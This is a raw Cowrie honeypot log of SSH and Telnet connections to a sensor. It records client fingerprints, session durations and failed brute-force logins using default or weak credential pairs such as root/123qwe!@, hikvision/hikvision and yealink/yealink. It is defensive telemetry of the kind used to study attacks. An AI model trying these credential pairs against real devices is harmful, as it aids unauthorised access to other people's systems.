{"eventid":"cowrie.session.connect","src_ip":"94.26.106.253","src_port":19946,"dst_ip":"10.17.0.5","dst_port":22,"session":"8977e4080939","protocol":"ssh","message":"New connection: 94.26.106.253:19946 (10.17.0.5:22) [session: 8977e4080939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:24.389669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:24.399338Z","src_ip":"94.26.106.253","session":"8977e4080939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:24.483114Z","src_ip":"94.26.106.253","session":"8977e4080939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:24.653314Z","src_ip":"94.26.106.253","session":"8977e4080939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.83961367607117,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:25.177157Z","src_ip":"152.42.224.71","session":"34f18d66ecb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:25.740405Z","src_ip":"94.26.106.253","session":"8977e4080939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60640,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cfadb5d7ee7","protocol":"ssh","message":"New connection: 31.40.204.166:60640 (159.203.135.109:22) [session: 7cfadb5d7ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:26.208363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:26.213539Z","src_ip":"31.40.204.166","session":"7cfadb5d7ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:26.407281Z","src_ip":"31.40.204.166","session":"7cfadb5d7ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:26.893555Z","src_ip":"31.40.204.166","session":"7cfadb5d7ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:28.094622Z","src_ip":"31.40.204.166","session":"7cfadb5d7ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34248,"dst_ip":"10.17.0.5","dst_port":23,"session":"7961da8da10c","protocol":"telnet","message":"New connection: 152.42.224.71:34248 (10.17.0.5:23) [session: 7961da8da10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:28.145341Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34258,"dst_ip":"10.17.0.5","dst_port":23,"session":"56df463ab337","protocol":"telnet","message":"New connection: 152.42.224.71:34258 (10.17.0.5:23) [session: 56df463ab337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:29.348015Z"}
{"eventid":"cowrie.login.failed","username":"hikvision","password":"hikvision","message":"login attempt [hikvision/hikvision] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:30.442559Z","src_ip":"176.65.139.118","session":"4afb3de78f5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.052627563476562,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:30.447978Z","src_ip":"176.65.139.118","session":"4afb3de78f5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":57692,"dst_ip":"159.203.135.109","dst_port":23,"session":"9af900e44aed","protocol":"telnet","message":"New connection: 176.65.139.118:57692 (159.203.135.109:23) [session: 9af900e44aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:30.702388Z"}
{"eventid":"cowrie.session.closed","duration":30.65501093864441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:34.213087Z","src_ip":"152.42.224.71","session":"069efea9c711","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54142,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fa3da9587bc","protocol":"ssh","message":"New connection: 31.40.204.166:54142 (159.203.135.109:22) [session: 9fa3da9587bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:37.483204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:37.488076Z","src_ip":"31.40.204.166","session":"9fa3da9587bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:37.610792Z","src_ip":"31.40.204.166","session":"9fa3da9587bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:38.083890Z","src_ip":"31.40.204.166","session":"9fa3da9587bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:39.210165Z","src_ip":"31.40.204.166","session":"9fa3da9587bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36670,"dst_ip":"10.17.0.5","dst_port":22,"session":"23eb74314170","protocol":"ssh","message":"New connection: 103.77.175.15:36670 (10.17.0.5:22) [session: 23eb74314170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:41.717303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:41.722278Z","src_ip":"103.77.175.15","session":"23eb74314170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.92755389213562,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:41.952360Z","src_ip":"152.42.224.71","session":"95642ea61479","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:41.982827Z","src_ip":"103.77.175.15","session":"23eb74314170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111q","message":"login attempt [root/11111q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:42.765496Z","src_ip":"103.77.175.15","session":"23eb74314170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:44.029481Z","src_ip":"103.77.175.15","session":"23eb74314170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60024,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b136ab13eb7","protocol":"telnet","message":"New connection: 152.42.224.71:60024 (10.17.0.5:23) [session: 6b136ab13eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:46.192449Z"}
{"eventid":"cowrie.session.closed","duration":71.29733657836914,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:46.385908Z","src_ip":"152.42.224.71","session":"7518154c6a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33346,"dst_ip":"159.203.135.109","dst_port":22,"session":"790ff1e2acda","protocol":"ssh","message":"New connection: 31.40.204.166:33346 (159.203.135.109:22) [session: 790ff1e2acda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:48.106032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:48.110923Z","src_ip":"31.40.204.166","session":"790ff1e2acda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:48.280695Z","src_ip":"31.40.204.166","session":"790ff1e2acda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:48.900479Z","src_ip":"31.40.204.166","session":"790ff1e2acda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:50.101948Z","src_ip":"31.40.204.166","session":"790ff1e2acda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00499892234802,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:54.392888Z","src_ip":"152.42.224.71","session":"08bdd5213ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.52353858947754,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:56.096530Z","src_ip":"152.42.224.71","session":"1b0710d2b606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"2705df3f74aa","protocol":"telnet","message":"New connection: 152.42.224.71:38286 (10.17.0.5:23) [session: 2705df3f74aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:56.457573Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38300,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cb7d12cde77","protocol":"telnet","message":"New connection: 152.42.224.71:38300 (10.17.0.5:23) [session: 7cb7d12cde77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:57.161194Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":43006,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6099f4e208","protocol":"ssh","message":"New connection: 103.75.182.198:43006 (10.17.0.5:22) [session: ee6099f4e208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:59.029565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:59.034435Z","src_ip":"103.75.182.198","session":"ee6099f4e208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:59.280296Z","src_ip":"103.75.182.198","session":"ee6099f4e208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39794,"dst_ip":"159.203.135.109","dst_port":22,"session":"014be06bbbb8","protocol":"ssh","message":"New connection: 31.40.204.166:39794 (159.203.135.109:22) [session: 014be06bbbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:59.686451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:59.691176Z","src_ip":"31.40.204.166","session":"014be06bbbb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:42:59.893521Z","src_ip":"31.40.204.166","session":"014be06bbbb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasdasd","message":"login attempt [root/asdasdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:00.019312Z","src_ip":"103.75.182.198","session":"ee6099f4e208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:00.696577Z","src_ip":"31.40.204.166","session":"014be06bbbb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:01.268426Z","src_ip":"103.75.182.198","session":"ee6099f4e208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a5fd10dd10e","protocol":"telnet","message":"New connection: 152.42.224.71:38308 (10.17.0.5:23) [session: 0a5fd10dd10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:01.429199Z"}
